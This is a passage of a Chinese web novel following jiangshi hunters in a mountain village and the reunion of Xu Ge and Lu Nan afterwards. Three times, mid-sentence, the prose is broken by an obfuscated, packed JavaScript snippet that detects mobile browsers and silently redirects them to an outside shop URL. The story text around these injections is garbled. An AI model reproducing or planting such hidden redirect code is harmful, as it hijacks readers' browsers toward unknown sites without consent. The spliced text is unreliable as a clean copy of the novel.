徐歌和孟寻真虽脸上没什么表情,但脚下连连却后退。 看出了两人的抵触,刘福生将童子尿装进口袋里,重新敲锣赶尸:“不是所有时候都能用体面手段去对付那些东西的,嘿嘿,我的老脸比城墙厚,脏了吧唧地活命也比死了被野狗扯得什么都没有强。” 听到这里,孟寻真重新看了一眼这个脏兮兮的老术士,他驼背,削瘦,头上一如既往地长着难看的癞疮,就像是耗子,不顾体面畏畏缩缩地活下去,还时不时地尖声叫嚷惹人心烦。但她不得不承认,他们两个有些像。 孟寻真心烦意乱地加快了脚步。 “诶,你这个妮子,干嘛突然走这么快?”刘福生在后面絮絮叨叨地抱怨。 徐歌拿出手机打开长声,给陆南发了几条消息: <私信> 【八方来财】:三全村的跳僵是一个叫乔玉林的盗墓贼,我在这里遇到了孟寻真,她说马慈养小鬼,而乔玉林就是马慈的手下。-今天14:00 【八方来财】:你的伤怎么样了?记得忌口少活动。-今天14:00 可能又是因为自己倒霉,每次给陆南发消息的时候信号就不好,半天都发不出去,徐歌摇了摇不争气的手机,只得又把它放了回去。 “给你的那个男朋友发消息吗?”孟寻真笑眯眯地凑过来,“三全这边的信号不怎么样吧?” “不是男朋友,”徐歌道,“我们从小一块儿长的。” “不冲突呀,这不就是青梅竹马的男朋友~” “这……” “好啦,不逗你了,我向你们道个歉吧,关于舞厅那晚上。” “受伤的是陆南,我没办法替他做主说原谅你,我只能说我个人姑且理解你那时候的动机。” “没什么,这就足够了,”孟寻真笑道,“但你那个陆南,是个‘笑不达到眼底’的人哦?” “啊?这什么说法?” “就感觉,虽然平时其他人跟他说话他总是一副温和的样子,但他的眼神其实一点也没有笑意呢。他似乎只会在你说话的时候才认认真真地听。” 徐歌皱眉仔细回想,陆南常穿的素净的衣服带着一股淡淡的草药道,笑起来精致的眉眼配上白皙的皮肤,在太阳底下被照得很好看——怎么看出他笑不到眼底的? “好吧,”孟寻真看着不明就里的徐歌,叹了口气笑道,“不过我也能理解一些为什么他会对你不一样……” “你放着我一老头,俩在前面说什么悄悄话?”刘福生在后面不满地连敲了两声锣跳僵也跟着连蹦两下,“走了多久了?咋还没到?”烈日当头,前些日子下雨囤在地上的积水被高温蒸腾,像蒸包子一样把人焖在地上蒸,每个人身上都出了一层汗。 孟寻真指了指前方一片郁郁葱葱的山林道:“快了,就在前面这片林子里。” “好密的林子,里面阴凉大,肯定凉快。”徐歌说着先行几步探了进去。 林子里果然很凉快,密匝匝的树叶将墓地遮得不见天日,不过坟里的人应该也不会在意这一点,毕竟在里面躺着本就见不着啥太阳。 徐歌一进去就在树干之间看见一个坟包包,等走近一看,大大小小的无主荒坟毫无规律地出现在那片区域,其中一个坟像是被刨开了一般,棺材直接裸露在了外面。 这应该就是装着跳僵的棺材了,徐歌倒退一步不敢轻举妄动,正好看见刘福生和孟寻真也走了过来,就将那个棺材指给了两人。 刘福生从肩膀上取下捆尸索,站在坟地的外圈端详了一会儿:“这儿光照少,阴气重,也没啥人气,也难怪那玩意儿会变成跳僵。” 那个裸露在外面的棺材紧闭着,开了天眼的徐歌也没有看出有什么异常——再正常不过的棺材,甚至正常得有些不正常。 孟寻真留在原地,徐歌跟着刘福生走近查看,没有抛光的棺材做工粗糙,棺材板上的木刺很明显,就算躺在里面的已经是没有知觉的尸体,徐歌也不禁共感到那种针扎的感觉。 刘福生把那瓶童子尿围着棺材撒了一圈,对徐歌说道:“打开看看那玩意儿在不在里面。” “直接打开吗?”徐歌吃了一惊,一点一点把跳僵的棺材板子打开看人家,还是有点让人头皮发麻的。 “我老胳膊老腿的不适合搞这种体力活,”刘福生把剩下的半瓶又珍重地揣了回去,“不用害怕,它白天不会活动。” 棺材做的十分随便,像是木工刨了几下就罢工后的作品,徐歌找了个木刺较少的地方下手,好在她的皮肤不是细皮嫩肉那一挂的,三下五除二地就打开了棺材盖。 出人意料的是,棺材里只有几件陪葬品,里面的尸体不翼而飞。 “空的?!”还没等徐歌惊呼完,一个黑影从树后面猛地扑向了徐歌! 徐歌侧身一躲,却还是被跳僵的指甲划伤了手臂。 这个跳僵的脸上和昨天相比已经长出了密密麻麻渗人的绒毛——倒霉催的,这才半天,它就已经从绿僵进化成了不怕阳光的毛僵! 刘福生的跳僵只能算个普通绿僵,自然不是它的对手,刘福生躲在棺材后都快把锣敲破了,自己那只跳僵还是不争气地被掀飞了出去。 就在徐歌准备好被它的指甲捅个血窟窿的时候,一枚石子又快又准地打到了乔玉林头上,虽然力道小到像是给跳僵挠痒痒,但它的注意力还是被分散了一下,让徐歌有了拉开身位的时间。 石子是孟寻真扔过来的,跳僵的攻击被徐歌闪过去之后,便掉头朝着孟寻真的方向攻去。 徐歌本想拖住它,不料进化的跳僵一跳居然有近十米的距离,好在孟寻真提前爬到了树上,用躲避牛僵的办法躲过了它的进攻。但就在徐歌即将用刀刺入它的身体时,跳僵拔出插在树干上的指甲,脚在地上一蹬,从地上直直地蹦到了和孟寻真齐平的位置! 徐歌刺了个空,眼睁睁地看着跳僵即将咬上孟寻真的脖子。突然间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776122|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳僵被什么东西一下子又拽回了地面,定睛看去,正是刘福生的捆尸索。 由于跳僵的力气奇大,即使捆尸索有公鸡血的加持,刘福生还是被从棺材后面灰头土脸地拖飞到了树底下。为了防止刘福生一把老骨头被拽散架,徐歌马上过去接过捆尸索,死死地拖住了跳僵。 徐歌感觉到被跳僵挠伤的右臂开始发麻发硬,用来控制捆尸索的力度也开始减弱,她四下看了看,把地上的钢刀一脚踢给了孟寻真。 钢刀的重量很沉,孟寻真在接住的一瞬间差点从树上跌下去。还没等她稳住身形,只见跳僵嘶吼一声朝着徐歌的脖子咬了过去,刘福生用手把眼睛捂了起来,他知道跳僵的这一咬用了十成十的力气,足够把徐歌的脖子完全咬断。 但骨肉撕裂的声音并没有响起,取而代之的是跳僵轰然倒地的巨响与撕心裂肺的惨叫。刘福生从指头缝里看去,只见徐歌脖子上的花钱发出炽灼的光,跳僵的上半张脸像是被掀飞了,剩下的部分仍旧仰面躺在地上挣扎着想要站起来,场面非常诡异。 好法器!刘福生忍不住在心里喝彩,这小妮子从哪里整来的这高级货?? 孟寻真看准时机从树上一跃而下,借着重力将刀插进了跳僵的脖子。刘福生赶忙过去把剩下的童子尿倒在了跳僵身上,滋滋的腐蚀声在它身上响起,跳僵直挺挺地被捆尸索牢牢捆住,彻底失去了再站起来的可能。 徐歌在一旁大喘气,山鬼花钱真是个好东西,真是救老命了…… 看着失去了上半个脑袋的跳僵,徐歌拿着定身符一时不知道应该贴在哪里。刘福生问道:“山上有没有荔枝树?多找几根荔枝树枝过来。” 孟寻真惊魂未定:“我记得有……我去找。” 不一会儿,孟寻真就抱来了数量相当可观的荔枝树枝条,刘福生把它们扔到跳僵身上,徐歌随之点起燃烧符把它们烧了个干净。 随后徐歌走到棺材前,在里面扒拉出一本类似于工作笔记的本子,还有几枚颇有年头的铜钱。刘福生非常积极地拿了两枚铜钱,举在眼前看了看,又放在手里掂了掂:“不愧是盗墓的,都是真货,能卖个好价。” “这东西很值钱?”徐歌问道,“能卖多少?” 孟寻真凑过来看了看,回答道:“我替马慈收过他类似的东西,一枚大概在两三千块左右。” 没白来没白来。徐歌还剩下两枚,卖了这一年都衣食无忧了,这一行真是赚钱啊。不过陆南好像在收集这些东西,徐歌决定先把这两枚铜钱和这本工作笔记一起带回去给他看看。 “行了,剩下的交给村儿里自己收拾吧,”刘福生看了一眼徐歌,从地上拿回捆尸索,“赶紧回去给你伤口上敷上糯米,你这种修体术的要是尸变了,我们可就都玩完了。” 徐歌出了林子,抬起胳膊看了看,伤口不深,甚至只是浅浅一道,但是周围的皮肤已经开始变硬了,半个胳膊也变得麻麻的,动起来很费劲,这样下去,过上几天恐怕就真要浑身就变得梆硬成了没有知觉的跳僵了。 私信> 31.山村跳僵 13 回到孔家父子家里,孔有力正在帮着孔武收拾院子,父子二人的相处看起来融洽了不少,一见到徐歌等人平安回来,二人扔下手里的活计迎了上来。 刘福生坐到凳子上抖了抖法衣——被跳僵拖了好几米,他浑身上下都沾满了土:“屋里地上的糯米还没被打扫吧?赶紧拿过来给我。” “好!”见他神色凝重,孔武没有多问,马上把昨天撒的糯米又收集了起来,递给了刘福生。后者把糯米摊在手里,又将手摁在了徐歌伤口上。 随着微弱的滋滋声响起,伤口处传来了一股灼烧的感觉,这股感觉顺着伤口处的血管经脉蔓延至整个胳膊,徐歌的胳膊很快就恢复了知觉,活动起来也没那么僵硬了。 刘福生说道:“接下来的六个小时都要一直敷着糯米。” 孔有力猜到徐歌中了尸毒,凑过来关切地问道:“严不严重啊?”会不会真的变成僵尸?——后半句他觉得没礼貌,没问出嘴。 徐歌实话实说:“没事儿,就是麻麻的,而且我身体好,很快就能把尸毒排出去了。” 孟寻真从口袋里拿出一个用粗线笨拙地织成的小包,把剩下的糯米装在里面递给了徐歌:“这样更方便一些。” “谢谢。”徐歌接过那个小包,上面歪歪扭扭地绣着一只小羊的形状。 孟寻真笑道:“这是我弟弟绣的。” 像是个在奔跑着的小羊,由于孟觅远绣的针脚稚嫩,这只小羊被认认真真地绣得十分委屈。见这只委委屈屈的小羊在粉色的小包上一边跑一边皱着脸,徐歌笑道:“还怪可爱的。” 往日里,孔武见到男孩子搞这些花拳绣腿的东西一定会心直口快地说出来,但自从昨晚遇上牛僵之后,他觉得似乎变了什么,但孔武是个头脑简单的人,他想不明白也不会去刨根问底,他只是不想再说了,为什么呢?他也说不上来。孔武已经默默决定让孔有力待在城里了,为什么呢?他也说不上来。 “我要回家了,不然家里人得着急了,”孟寻真率先起身,对徐歌笑道,“我们手机联系,那本工作笔记你回去拍给我,我知无不言~” “好。”徐歌回答,孟寻真的身影翩然消失在门口。 孔武已经在厨房忙活做饭的事儿了,他新猎了些肉,准备好好犒劳两位赶尸人。但刘福生已经一根腿迈出大门了,在完全迈出去之前,刘福生转过头来把捆尸索扔给了徐歌:“就当我这个前辈给你的补偿喽。” “你要去哪儿?不留下来吃饭?”徐歌接住捆尸索问道。 “你傻啊,我去告诉村长他老婆,事情解决了,他家的饭也肯定比这里好吧!”刘福生挠了挠他那头癞疮,毫不留恋地从门口消失了。 徐歌晚上要坐火车回去,如果跟着刘福生再去村长家肯定赶不上火车,所以两人刚才就算是正式分别了,连联系方式也没留。徐歌看了看手中的那个浸过鸡血的捆尸索,有些怅然若失。 干这一行的,谁知道明天会不会突然就死了,能少一份牵挂是一份罢了。 蝉鸣阵阵,院子里一时就剩下了徐歌和孔有力。“你什么时候回学校?”徐歌一边摁着胳膊上的糯米,一边和孔有力闲聊。 “暑假能在家里待两个月。”孔有力回答道。 徐歌这才意识到已经是暑假了,难怪火车站人那么多——刚辍学的时候她还会站在地里羡慕地看着那些放暑假的学生,几年过后徐歌已经几乎失去了暑假的概念。 谈到恒盛的生活,孔有力像打开了话匣子:“……你说我要一直待在山里吗?”孔有力告诉徐歌自己喜欢上了大学里的一个女生,但是对方读过很多书,家庭也很好,他感觉自己和她不一样。 “自从我出去上学之后,我读了书,产生了很多想法,随之而来的是更多的烦恼——我本可以在这个村子里什么都不用想的,成为我爸那样简单的人。” 徐歌看着眼前的这个男孩,不知道怎样开口——他是走出三全村的人,他看到了外面的世界,产生了前所未有的想法,所以他是要受苦的。 “不好意思,一不留神说了这么多,你就当我在自言自语吧,”孔有力笑着揉了揉眼睛,“一放松下来我就容易话多……” 吃过一顿相对丰盛的饭后,天色已经暗了,在完全看不清路之前,孔家父子将徐歌送上了火车。 徐歌坐在窗边和孔家父子挥手告别,火车缓缓启动。 虽然成功解决了三全村的跳僵,但徐歌莫名觉得,她与这个村子之间的纠葛还远不止这些。会是那个烛花娘娘吗?还是那些尚未被他们发掘的秘密? 徐歌翻看那本破旧的工作笔记,不知道陆南能不能总结出什么有价值的线索。想到陆南,徐歌安心了很多。他一向是很聪明的,想得比自己多多了——但想得太多,会是好事吗?陆南从小心思就多,他是否和孔有力一样痛苦纠结? 她看了一眼自己胳膊上那道伤痕,她想通过独立完成任务来证明自己不会是陆南的拖累,却没有问问陆南是怎样想的。他想要徐歌用性命做砝码,做出这样的证明吗? 想到这里,徐歌打开长声给陆南发去了消息: <私信> 【八方来财】:我顺利完成任务坐上火车了,一切平安,我们回去玩两天吧。-今天9:51 只是信号迟迟没有恢复,下午发的那条情报都还没有传过去。 徐歌放下手机,余光里看见了一抹熟悉的娇小的身影。 那道身影站在火车的不远处,黑外套和黑色的鸭舌帽与四周的阴暗浑然一体,在火车上几乎难以发觉她的存在。徐歌清晰地看见,月光从帽子底下露出来的金色发丝反射出来,突兀在一大片静止的夜色之外。 …… “小羊,小羊,我好喜欢你呀~”五岁的孟寻真一手轻柔地抱着小羊,一手喂它青草,“要快快长大哦,长大了就有胃口吃更多的草啦。” 孟寻真看着村子里的人忙前忙后,村里好像有什么喜事,大家的脸上都洋溢着笑容,每家每户都不约而同地买了好看的蜡烛,爸爸妈妈告诉寻真村子里要来新的仙了,这个新的神叫烛花娘娘,是能给村子带来财运的烛仙。 孟寻真不懂这些,但是爸爸妈妈为此给她买了一件漂亮的裙子,她喜欢漂漂亮亮的新衣服,所以她也开心。 “小羊——小羊!”只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789321|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个钟头没见,孟寻真的小羊就跑丢了,她吆喝着在山里四处寻找。 “小羊?” 孟寻真在后山找到了她的小羊,它安静地躺在地上,血从它身上的弹孔里汩汩地涌出来。 孟寻真眼睁睁地看着孔武过来拿走了自己的小羊。“你爸妈让我今晚上给家里炖羊羔子吃!”孔武大力揉了揉孟寻真的一头黑色卷发,“不用可惜,羊就是用来吃的呀!” 没人告诉她养了羊最终要杀来吃。黑黑的泥垢新鲜地长在脸上,孟寻真只是无声地流泪。 “今天是个喜庆日子,为了咱们的新神专门杀的羊,你不要在这里哭丧脸。”回到家,父母警告她不要破坏仙家的心情。 孟寻真走到街上,对每一个她遇上的人说:“我不要喜欢羊了。” 村里人只觉得她莫名其妙。 …… 孟寻真不喜欢自己的弟弟妹妹们,吵吵闹闹的,什么也干不了,什么也不懂。 她整了整衣服,从舞厅出来,怀里揣着一沓钞票。 “妓|女,”无论是现实中,还是网上,所有人都对她指指点点,“出卖色相上位,真恶心。” 但是无所谓,孟寻真想着,只要她一直往上爬,钱花在自己手里,漂亮衣服穿在自己身上,她才不会在乎其他人怎样说。 她推开那扇吱呀作响的门,将钞票放到桌子上。每当这个时候,母亲都会哭。 孟寻真也讨厌母亲,讨厌她软弱的眼泪。 “嫌脏就不要拿这些钱。”孟寻真冷冷地说道,然后她看着父亲沉默地将钱收起来。 晚上父母总是会向神祈祷,孟寻真看着那个简陋的供台:供台上是一个捧着许多蜡烛的多手女人像,一红一白的蜡烛插在泥像旁边,母亲说一旦烛花娘娘显灵,这两根蜡烛就会自己亮起来。但孟寻真从没见这两根蜡烛亮过——有什么好祈祷的?全家入迷了一样去拜这些神,到头来神的贡品还不是妓|女挣的钱买的? 孟寻真才不要信神,她只信她自己。 孟寻真光着脚蜷缩在椅子上,冬天的风很冷,母亲啜泣着拿过一件破棉衣给她披上。棉衣灰溜溜的颜色和裙子艳丽的红色格格不入,孟寻真厌恶这件破棉衣,可终究没有把它脱下来。就像这片可憎的乡土,永远逃不脱,永远变不了。她一直在向前走,她以为是这样的,可终究还是回到这家里来。 弟弟孟觅远趴在姐姐身边,小心地用手抚平红裙廉价的褶皱。他不懂什么是妓|女,他觉得姐姐的红裙子很好看,这样好看的裙子可不能皱了。 孟觅远想要快点长大:“姐姐,长大了我也要当妓|女,我们一起挣好多好多钱。” 孟觅远的头发卷卷地贴在头上,又大又圆的眼睛水灵灵地看着她。 她哭了。 私信> 32.山村跳僵 14 耳边的手机震耳欲聋地响了六下,震动的幅度几乎要把陆南的床给震穿,陆南睁开眼睛,他的心跳声咚咚地砸在鼓膜上,在睡梦中被猛地吵醒后整个人都有一种惶恐的不适感。 陆南知道是徐歌发来了消息,这种不适感很快就被他重新清明过来的思绪所驱散,他拿起手机打开长声: <私信> 【八方来财】:三全村的跳僵是一个叫乔玉林的盗墓贼,我在这里遇到了孟寻真,她说马慈养小鬼,而乔玉林就是马慈的手下。-昨天14:00 【八方来财】:你的伤怎么样了?记得忌口少活动。-昨天14:00 【八方来财】:我顺利完成任务坐上火车了,一切平安,我们回去玩两天吧。-昨天21:51 陆南忍不住在心里埋怨这时断时续的信号,算算时间,徐歌可能快下火车了。 这样想着,陆南翻身下床,在黑背心外又套上一件白色衬衫短袖,他打开水口头把自来水拍在脸上,又对着镜子理了理头发——睡了一个晚上,陆南的气色看起来好了不少,整个人的状态也已经恢复了七七八八了。 做完这些,陆南匆匆下楼骑上自行车去车站接徐歌。 正是旅游旺季,火车站人满为患,陆南很讨厌前胸贴后背地跟别人挤来挤去,他找了个柱子靠过去,这样起码可以避免身后有人挤过来。 <私信> 【文鸟】:你还有多久下车?我在柱子这里,找不到我就给我打电话,我去找你^v^-今天11:10 【文鸟】:[图片](车站柱子的一角,周围是熙熙攘攘的人群)-今天 11:10 “帅哥?帅哥!有没有兴趣当明星呐?” 一道不男不女的声音在陆南耳边响起,陆南有些烦躁地抬头确定对方是在叫自己:“嗯?” 跟陆南搭话的是个打扮新潮的长发男人,他举着摄影机对准陆南,又将麦克风怼在陆南嘴边:“不用害怕,我是星探,于月知道吧?还有陈春来,这些影星都是我推出去的!” “不好意思,我懂这些,你去找别人吧。”陆南委婉地拒绝。 “你的外貌条件比大多数影星都强了,我们团队再给你包装一下,没有演技也没关系,光凭你这张脸保证一炮而红……”星探不愿意放弃眼前这个绝好的苗子,凑上来喋喋不休地说道。 此时火车的鸣笛声响起,徐歌坐的那趟火车吱悠悠地到站了。车门打开,下车的人鱼贯而出,上车的人鱼贯而入。陆南在人流里寻找熟悉的身影,没有耐心再和这个莫名其妙的人纠缠,选择性地无视了他。 “陆南——!”熟悉的声音穿透了层层叠叠的人群抵达陆南的耳朵。 陆南一个转身,看见徐歌灵活地在空隙里穿梭着,朝自己跑过来。他不自觉地拨开人群,朝着徐歌跑去。 “想死你了!”近到跟前,徐歌紧紧地抱了一下陆南,“你都不知道山里信号有多差,火车上人多成那样也没信号……” “辛苦了。”陆南抬手摸了摸徐歌的头发——其实说不上摸,他只是碰了一下,就迅速又克制地收了回去。 陆南感受到徐歌的体温,那是和怨气截然不同的温度。真好,这样一个暖烘烘的人。 “哎呦,姑娘你也有当影星的潜力啊!”不合时宜的声音又响了起来,陆南是真想把他踹到铁轨上去了。 徐歌伸手指了指自己:“影星?我吗?还有‘也’是什么意思?” 星探忽略了她的问题,转而围着徐歌转了一圈,自言自语般说道:“身段和长相都不错——就是打扮的土了吧唧的,但是都是可以改的嘛!” “?土了吧唧的?”徐歌干笑了两声,虽然被创了一下,但对方在这方面也没说错,“但是我不会演戏啊?” “于月你知道吧?尖叫女王!她就是我一手发掘出来的!” 于月?徐歌来恒盛好像听说过这个名字,似乎是一个恐怖片女主。 陆南还问了徐歌一句:“影星,你想去吗?” 虽然感觉影星会挣钱,但是在聚光灯底下的事情徐歌想想就适应不来,于是摇了摇头:“算了吧。” “别算了呀!”男人还不想放弃,但被陆南用眼神警告过后有些偃旗息鼓,“……那至少,咱们留个联系方式,等你们回心转意了再找我!” 陆南:“我们没有手机。” 星探:“那你手上的是啥?” 陆南笑眯眯地回答:“这是发光的板砖。再说一句话我就把你杀了。” 星探:“……” 此时此刻,再热爱工作的人此时也不可能再纠缠下去了,他放下相机,却发现相机一直处于黑屏状态,明明刚来车站的时候还好好的。 “车站太挤了,咱们先回去吧!”徐歌扯着嗓子跟陆南讲话。 等星探调试好相机,南歌二人已经隐入人群不见了踪影。 陆南跟着徐歌在人群里打了个滚儿出来,却没怎么沾上人气,依旧是那副淡淡的孑然。 他回过头来,接过徐歌手里的行李包裹和捆尸索,忽然瞥见了徐歌胳膊上的伤痕。 “这是怎么受的伤?”陆南第一反应是想凑近看看,但手伸到一半又缩了回来。 “这个啊,”徐歌都快忘了还有这么一门子事儿了,“被跳僵挠了一下,已经敷糯米敷好了。” 见陆南的表情没有放松下来的意思,徐歌还抬了抬胳膊,打趣道:“干嘛一副苦唧唧的样子,出任务受点伤不是很正常嘛。而且我现在很灵活的,才不会让自己因为一个小伤口就变成硬邦邦的跳僵,放心吧。” 二人走到车站门口,看到上面新贴了几张黑底的电影宣传海报: “恐怖片首席女主,尖叫女王——于月,将于7月21日推出新片:??惊叫?? 连环杀人案的犯人(陈春来饰),在雨夜的路灯下,与患有精神障碍的女主陈婧(于月饰)展开惊心动魄的追逐。 这个炎热的夏天,就在这个雨夜,让我们共同惊叫!!” 是那个星探提到的于月,这个影星正是当红的时候,连出了几部爆火的恐怖电影。 徐歌从小胆子大,对恐怖片很感兴趣,那时候村里来人放电影,她身高不够挤不进前排,只能蹲在幕布反面去凑热闹,即使字幕和画面都是反过来的,她依旧看得津津有味。 “下个月上映诶,到时候我请你看电影吧?”徐歌指着《惊叫》的宣传海报对陆南说道。 陆南平时的休闲活动也不过是读一些书研究研究新奇的术法,不怎么看影视节目,能和徐歌一起体验一下新东西也很不错:“好啊,感觉会很有意思。” 徐歌又把手里的本子递给了陆南:“这是从乔玉林的棺材里拿出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814373|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我扫了一眼,上面写的是给马慈干活的记录,孟寻真也想要上面的线索,你先拿回去看看能不能发现什么。” “对了还有孟寻真,在三全我们短暂合作过——这次她没有捣乱。” 陆南点点头,把笔记放在自行车筐里。他并不介意徐歌和孟寻真合作,他相信徐歌有自己的判断。 …… 徐歌转动钥匙打开502的门,一进去就发现桌子上放了一个用漂亮的纸仔细地包起来的方方正正的东西。 “这是什么?”徐歌上前拿起那个精致的小包裹,四四方方的包装上印着金灿灿的印子,丝丝缕缕的清香透过包装纸的缝隙飘出来,徐歌惊喜地看向陆南,“是香皂?!” 乡下家里洗脸洗衣都是用晾干的皂荚,偶有进城的机会就对着摊子上的小小一块香皂直流口水,但又觉得花大价钱强娶这样一块晶莹细腻的香皂双方都委屈,只能按捺下向往的心情,转而去对付其他摊子上的米面粮油。没想到小时候的心愿居然被陆南珍重地记到了现在。 徐歌沿着折痕小心翼翼地展开包装纸,里面还有一张米色的薄纸,揭开薄纸,一块温润的淡绿色香皂静静地躺在掌心,上面还刻了精致的花纹,凑近了,一股清冽的香气不带任何冒犯地钻进鼻腔,徐歌甚至产生了咬一口的冲动。 “味道喜欢吗?”陆南笑道,“送你的入职礼物。”这是陆南去店里花三十多挑的手工香皂,就他们的生活水平而言,这是实打实的奢侈品了。 “喜欢……谢谢你陆南!”徐歌欢喜地将香皂放在洗手盆旁边的窗台上,面对这么精致的小玩意儿,一上来还真舍不得用。 趁着徐歌稀罕肥皂的功夫,陆南将捆尸索晾在了阳台上。这个捆尸索的做工十分老成,再加上公鸡血的加持,如果能晒足阳光吸收足够的阳气,上限就会大大提高,成为十分可用的法器。 “对了,我还从棺材里找到两枚铜钱,你看看能不能用得上。”回到屋里,徐歌把铜钱从口袋里掏出来递到陆南跟前。 陆南捏起那两枚铜钱,举在灯底下看了一会儿,笑道:“这铜钱很有年头,应该是乔玉林从古墓里偷出来的,可以用红线串起来做铜钱剑。” “可是两枚也做不成剑吧?” “我之前也攒了不少,再想办法弄来五六个就够一把铜钱剑了。”大部分都是陆南在集市上花大价钱淘来的,想想真是花出去不少钱。 咚咚咚。 卧室传来敲窗户的声音,徐歌警觉起来,这可是五楼,什么东西能敲这儿的窗户? 陆南说道:“不用担心,应该是来发工资的。” 徐歌摸不着头脑:“发工资?”谁家发工资在空中敲人窗户? “它是吴关养的一个小仙,每完成一个任务它都会及时把工资发给你——每次都是通过窗户把钱送进来。”陆南一遍解释一遍打开了卧室门,徐歌探头探脑地往窗户看去,果真见手掌那么大的红皮金发小妖精抱着信封,悬浮在窗外。 私信>私信> 33.山村跳僵 15 “仙也是有不同等级的,它是‘春琼泉’,是从金矿里生出来的小仙,没有太多自我意识,实力跟庙老爷这种‘仙家’差远了。”陆南打开窗户把它放了进来,春琼泉忽上忽下地飞进屋子,将信封递到徐歌面前。 “谢谢。”徐歌从春琼泉手里接过信封后,发现它的手里还剩下一个,紧接着它又将剩下的这个信封交给了陆南。 见陆南有些心虚地拿走了信封,徐歌猜到陆南前两天又去跑了任务——也不知道这种拼命三郎的性格是跟谁学的。 徐歌打开信封,里面放着一摞皱巴巴的钞票,几毛的几块的都有,清点过后正正好好是七十元。这七十块钱恐怕是村长家东拼西凑借出来的,可能是看钱少的可怜,吴关也没有再从里面抽成,徐歌愣了半晌,把钱又塞了回去,还多加了五十块钱,对春琼泉道:“你能把这钱再送回去吗?” 陆南掏出一枚硬币放到春琼泉手里,小仙拿到硬币,肉眼可见地开心起来,它将硬币塞进嘴里,哼着歌飞走了。 陆南的报酬拿出来居然有足足有三千五百块!徐歌这辈子第一次见这么多钞票。马慈给报酬都给得十分油滑,经过提成,两次拿到手里的钱还都是好看的整数。 “你接的什么活儿啊?”徐歌不禁问道。 “还是马慈的,有人在他名下的增宝商场门口自杀了,”陆南回答,“但我们在那家商场里发现了别的邪祟。” “两次都是他?”徐歌顿了一下,道,“照孟寻真的说法,你们看到的邪祟,会不会是他养的小鬼?” “不排除有这个可能,”陆南说着翻开了乔玉林的本子,“上面说不定会有什么线索。” 本子的封面被水泡过,干了之后变得又皱又脆,本子里记录着乔玉林盗过的陵墓,大大小小分布在各地,粗略计算下来至少也有几十个了。乔玉林肯定有些本事,就算是陆南也没办法保证能从这么多墓里全身而退。 马慈戴的那串太生木手串,在上面也有记录: “长乐市南丘古墓,收获铜钱10枚,青铜器5个,金杯1个,太生木手串1串。”这手串根本不是马慈说的“从仙坛上请下来”的,而是墓主人被盗的陪葬品。 接下来的一句令陆南皱起了眉:“男童一个。”乔玉林不仅偷盗墓里的财物,还偷里面的尸骨给马慈炼小鬼。 “郁林墓,青铜器4斤,玉镯12个,玛瑙项链3个,铜铃2个,玛瑙项链3枚,玛瑙项链30斤……” 越往后翻,乔玉林的笔迹就越来越草率,甚至很多地方都出现了逻辑颠倒的问题,恐怕乔玉林在死前就已经精神失常了。 在陆南整理笔记的间隙,徐歌打开长声,心道陆南不知不觉就又开始工作也太拼了。经历了三全信号短缺的日子,徐歌看着手机屏幕上满格的信号,感觉十分安心。 话说孟寻真现在应该还在三全吧?她那边的信号难道不会妨碍跟她交流线索吗?还是说她已经离开三全了? 算了,孟寻真有孟寻真的办法——怎么感觉跟陆南待了这几天,心眼子没涨多少,倒开始东一榔头西一棒槌地瞎操心了…… <欢迎使用长声> <天长地久有时尽,此声绵绵无绝期> <如有问题可联系长声负责人> <> 负责人2:赵不见> 〖《惊叫》演员介绍〗发帖人:【一品】 《惊叫》将于7月21日在恒盛影院上映!这是于月和陈春来的合作之作,就让我来向大家介绍这影片的演员们吧!-昨天21:59 于月个人简介: 女,24岁,19岁时进入演绎圈,凭借独特的情绪感染力,再加上独具辨识度的短发与烟熏妆,被评为恐怖片首席女主。作品多以血浆片为主,用尖叫给予观众肉|体和心灵上的震颤。 代表作:《阈值》,《夜啼鸟》,《惊叫》 陈春来个人简介: 男,20岁,从偏远乡村崭露头角的新星,无比热爱演艺事业,曾言“我直到闭眼死去的那一刻,都会在摄影机前”。主要作品为注重烘托诡异氛围的民俗恐怖片。 代表作:《回煞》,《残像》,《惊叫》 陈双燕个人简介: 女,19岁,新人演员,认真努力。 代表作:《回煞》,《惊叫》 <评论区> 【亿兴】:于月本来就神经质,现实生活中就挺歇斯底里的,尖叫女王也算是实至名归。感觉她恐怖片都是本色出演所以给人的感觉都特别真实吧。-昨天22:00 【芋头】回复【亿兴】:这也是她的天赋嘛,而且她长得确实好看……-昨天22:00 【凉】:陈春来是数一数二努力的明星了,他真的热爱表演到极端的地步,吃睡都在想着表演,后来甚至无法准确区分剧中与现实,跨界拍摄??惊叫??意在走出舒适圈,拓宽自己的戏路。-昨天22:01 